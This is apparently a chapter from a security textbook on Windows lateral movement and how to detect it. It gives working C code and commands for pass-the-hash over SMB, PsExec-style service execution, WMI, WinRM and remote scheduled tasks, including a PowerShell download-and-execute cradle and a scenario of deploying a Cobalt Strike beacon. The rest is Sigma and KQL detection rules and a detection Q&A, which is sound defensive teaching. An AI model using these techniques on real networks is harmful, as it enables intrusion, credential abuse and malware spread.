Chapter 208

Lateral Movement Techniques

Lateral movement turns a single compromised host into control of the network. Every technique in this chapter has a distinct authentication mechanism, a specific network port, and a specific set of Windows event IDs that detection engineers build detection for. Understanding which technique leaves which artifact — on the source host, on the target host, and in DC logs — is the core detection engineering skill tested in interviews.

Scenario

You hold local administrator credentials (NTLM hash) for svc_deploy, a service account that is a local admin on 40 servers in the environment. Kerberos is available but the DC is closely monitored. You need to execute a Cobalt Strike beacon on three target hosts without writing to disk on the source, and without touching the DC for ticket requests where possible.

Pass-the-Hash via SMB

PASS-THE-HASH — NTLM AUTHENTICATION FLOW ═══════════════════════════════════════════════════════════════════════ Client Server (target) ───── ─────────────── SMB Negotiate ──────► ◄────── NTLM_NEGOTIATE NTLM_AUTHENTICATE NTLM Response = HMAC-MD5(NT_hash, server_challenge) ──────► ◄────── Accept / Deny RESULT: No cleartext password used; NT hash is sufficient. REQUIREMENT: Source process holds NT hash directly (e.g., from LSASS dump). ═══════════════════════════════════════════════════════════════════════
// C: Pass-the-hash via NtCreateFile to remote share using LogonUser + CreateProcessWithLogonW
// Most implementations use Impacket, Cobalt Strike jump psexec, or custom SMB client.
// Native Win32: LogonUserW with LOGON32_LOGON_NEW_CREDENTIALS allows hash via impersonation trick.

// PowerShell using Invoke-SMBExec (no disk write on source):
// Invoke-SMBExec -Target 192.168.1.50 -Domain corp -Username svc_deploy -Hash NTLM_HASH \
//   -Command "powershell -enc BASE64_BEACON_STAGER"
//
// What happens on target:
// 1. SMB authentication with NTLM response (no password)
// 2. Creates service via Service Control Manager (named pipe \PIPE\svcctl)
// 3. Service executes command → SYSTEM context
// 4. Service deleted immediately after execution
// Artifacts: EID 4624 (logon type 3, NTLM), EID 7045 (new service), EID 7009 (service start timeout)

BOOL PsExecStyle(const wchar_t* target, const wchar_t* command) {
    wchar_t unc[256];
    swprintf_s(unc, L"\\\\%s\\ADMIN$", target);
    // Connect using current impersonated NTLM token
    NETRESOURCEW nr = {0};
    nr.dwType       = RESOURCETYPE_ANY;
    nr.lpRemoteName = unc;
    if (WNetAddConnection2W(&nr, NULL, NULL, 0) != NO_ERROR) return FALSE;
    // Open SCM on remote
    SC_HANDLE hSCM = OpenSCManagerW(target, NULL, SC_MANAGER_CREATE_SERVICE);
    SC_HANDLE hSvc = CreateServiceW(hSCM, L"tmpsvc", NULL,
        SERVICE_START|DELETE, SERVICE_WIN32_OWN_PROCESS,
        SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
        command, NULL, NULL, NULL, NULL, NULL);
    StartServiceW(hSvc, 0, NULL);
    DeleteService(hSvc);
    CloseServiceHandle(hSvc); CloseServiceHandle(hSCM); return TRUE;
}

WMI Lateral Movement

// WMI process creation: no service creation, lower artifact footprint than PSExec
// Uses DCOM port TCP 135 (endpoint mapper) then dynamic high port for OXID resolution

// PowerShell WMI exec:
// $cred = New-Object System.Management.Automation.PSCredential("corp\svc_deploy",$hash)
// Invoke-WmiMethod -ComputerName 192.168.1.50 -Class Win32_Process -Name Create \
//   -ArgumentList "powershell -enc BASE64_STAGER" -Credential $cred

// C: WMI lateral movement via COM API
HRESULT WmiExec(BSTR target, BSTR command) {
    IWbemLocator* pLoc = NULL;
    CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER,
        IID_IWbemLocator, (void**)&pLoc);
    IWbemServices* pSvc = NULL;
    BSTR ns = SysAllocString(L"ROOT\\CIMV2");
    // Connect with explicit credentials (or pass NULL to use current token)
    pLoc->ConnectServer(ns, NULL, NULL, NULL, 0, NULL, NULL, &pSvc);
    CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
        RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);
    IWbemClassObject* pClass = NULL;
    BSTR className = SysAllocString(L"Win32_Process");
    pSvc->GetObject(className, 0, NULL, &pClass, NULL);
    IWbemClassObject* pMethod = NULL;
    pClass->GetMethod(L"Create", 0, &pMethod, NULL);
    IWbemClassObject* pInParams = NULL;
    pMethod->SpawnInstance(0, &pInParams);
    VARIANT vCmd; VariantInit(&vCmd);
    V_VT(&vCmd) = VT_BSTR; V_BSTR(&vCmd) = command;
    pInParams->Put(L"CommandLine", 0, &vCmd, 0);
    IWbemClassObject* pOut = NULL;
    pSvc->ExecMethod(className, L"Create", 0, NULL, pInParams, &pOut, NULL);
    // Returns ProcessId in pOut; no service artifact created
    return S_OK;
}

WinRM and PowerShell Remoting

// WinRM: TCP 5985 (HTTP) or 5986 (HTTPS)
// Authentication: Kerberos (default domain) or NTLM
// Leaves: EID 4624 logon type 3, remote PowerShell session, wsmprovhost.exe spawned on target

// Attacker PowerShell:
// $sess = New-PSSession -ComputerName target -Credential $cred
// Invoke-Command -Session $sess -ScriptBlock { IEX (New-Object Net.WebClient).DownloadString($url) }
// Remove-PSSession $sess

// Evil-WinRM tool (popular red team tool):
// evil-winrm -i 192.168.1.50 -u svc_deploy -H NTLM_HASH
// → interactive shell over WinRM via NTLM pass-the-hash

// C: WinRM via WinRM COM API
HRESULT WinRMExec(const wchar_t* target, const wchar_t* command) {
    IWSMan* pWSMan = NULL;
    CoCreateInstance(__uuidof(WSMan), NULL, CLSCTX_INPROC_SERVER,
        __uuidof(IWSMan), (void**)&pWSMan);
    IWSManEx* pWSManEx = NULL;
    pWSMan->QueryInterface(__uuidof(IWSManEx), (void**)&pWSManEx);
    IWSManSession* pSession = NULL;
    BSTR connStr = SysAllocString(target);
    pWSManEx->CreateSession(connStr, 0, NULL, (IDispatch**)&pSession);
    BSTR resourceURI = SysAllocString(L"http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd");
    BSTR shellXml    = SysAllocString(L"cmd");
    BSTR shellId = NULL;
    pSession->Create(resourceURI, shellXml, 0, &shellId);
    // Send commands to shell → get output...
    return S_OK;
}

Remote Scheduled Tasks

// ATSVC / Task Scheduler: creates task on remote host via DCOM, executes as SYSTEM or user
// Artifacts: EID 4698 (task created), EID 4702 (task modified), EID 4700 (task enabled)
// Leaves task XML in C:\Windows\System32\Tasks\ on target

// SCHTASKS command (LOLbin):
// schtasks /create /S target /TN "Update" /TR "cmd /c powershell -enc PAYLOAD"
//          /SC ONCE /ST 00:00 /RU SYSTEM
// schtasks /run /S target /TN "Update"
// schtasks /delete /S target /TN "Update" /F

// C: Task Scheduler via COM (ITaskService)
ITaskService* pService = NULL;
CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER,
    IID_ITaskService, (void**)&pService);
VARIANT vTarget;
V_VT(&vTarget) = VT_BSTR;
V_BSTR(&vTarget) = SysAllocString(L"\\\\TARGET");
pService->Connect(vTarget, _variant_t(), _variant_t(), _variant_t());
ITaskFolder* pRootFolder = NULL;
pService->GetFolder(SysAllocString(L"\\"), &pRootFolder);
ITaskDefinition* pTask = NULL;
pService->NewTask(0, &pTask);
IExecAction* pExecAction = NULL;
IActionCollection* pActions = NULL;
pTask->get_Actions(&pActions);
IAction* pAction = NULL;
pActions->Create(TASK_ACTION_EXEC, &pAction);
pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
pExecAction->put_Path(SysAllocString(L"C:\\Windows\\System32\\cmd.exe"));
pExecAction->put_Arguments(SysAllocString(L"/c powershell -enc PAYLOAD"));
IRegisteredTask* pRegistered = NULL;
pRootFolder->RegisterTaskDefinition(SysAllocString(L"SystemUpdate"), pTask,
    TASK_CREATE_OR_UPDATE, _variant_t(), _variant_t(),
    TASK_LOGON_SERVICE_ACCOUNT, _variant_t(), &pRegistered);

DCOM Lateral Movement

DCOM classMethodPrivilege requiredDetection artifact
MMC20.Application ({49B2791A-...})Document.ActiveView.ExecuteShellCommandLocal admin on targetmmc.exe spawning cmd.exe on target
ShellWindows ({9BA05972-...})Item().Document.Application.ShellExecuteLocal adminexplorer.exe child process
ShellBrowserWindow ({C08AFD90-...})Document.Application.ShellExecuteLocal adminexplorer.exe DCOM invocation
Excel.ApplicationDDEInitiate or macro execUser-level if Office installedexcel.exe spawning child on target

Detection Engineering

title: Lateral Movement — New Service Created on Remote Host (PsExec Pattern)
logsource:
  product: windows
  service: system
detection:
  service_create:
    EventID: 7045
    ServiceType: 'user mode service'
    ServiceFileName|contains:
      - 'cmd.exe'
      - 'powershell'
      - 'ADMIN$'
  condition: service_create
level: high
tags: [attack.lateral_movement, T1021.002]

title: WMI Remote Process Creation
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    ParentImage|endswith: '\WmiPrvSE.exe'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\wscript.exe'
  condition: selection
level: medium
tags: [attack.lateral_movement, T1047]

-- MDE KQL: WinRM session + command execution on remote target
DeviceProcessEvents
| where InitiatingProcessFileName =~ "wsmprovhost.exe"
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","mshta.exe")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessAccountName

-- MDE KQL: Type 3 NTLM logon across many targets in short window (lateral movement sweep)
DeviceLogonEvents
| where LogonType == 3
| where AuthenticationPackage == "NTLM"
| where AccountName !endswith "$"
| summarize targets = dcount(DeviceName), first = min(Timestamp) by AccountName, bin(Timestamp, 30m)
| where targets > 3
| order by targets desc

Q&A

WMI lateral movement (Invoke-WmiMethod Create) versus PsExec — which creates a higher-fidelity detection signal, and why do detection engineers specifically tune rules for each?

PsExec (and the PsExec pattern in general) creates a service on the remote host via the Service Control Manager named pipe (\PIPE\svcctl). This produces three distinct Windows event IDs: 7045 (service created) in the System log, 4697 (service installed in security audit, if auditing is enabled), and 4624/4634 (logon/logoff type 3 for the SMB authentication). The service name is random (PSExec uses PSEXESVC but copycat tools use random names), but the service binary path points to ADMIN$ (a copy of the executable), and the service is deleted within seconds of execution — the create/delete sequence in rapid succession is a high-fidelity signal. Rule tuning focuses on service creation from lateral movement tools via the ADMIN$ share pattern.

WMI lateral movement (Win32_Process.Create) does not create a service. On the target, the only process creation artifact is a child process of WmiPrvSE.exe (the WMI provider host). The network artifact is DCOM traffic: TCP 135 (endpoint mapper) followed by a dynamic RPC high port for the actual call. Event 4688 (process creation with command line, if auditing + command-line logging is enabled) on the target shows the spawned process with WmiPrvSE.exe as parent. The signal is weaker because WmiPrvSE.exe legitimately spawns child processes for system management tasks. Detection engineers tune on: WmiPrvSE.exe spawning cmd.exe, powershell.exe, or wscript.exe with encoded or download cradle arguments.

The tuning challenge for WMI is false positives: many legitimate management tools and monitoring agents use WMI locally and remotely. SCCM, Tanium, and other enterprise tools spawn processes via WmiPrvSE. Production rules add a network-side check: if the EID 4624 type 3 logon for the WMI authentication came from a source IP that is not in the management segment (SCCM servers, monitoring hosts), the combination is high-fidelity.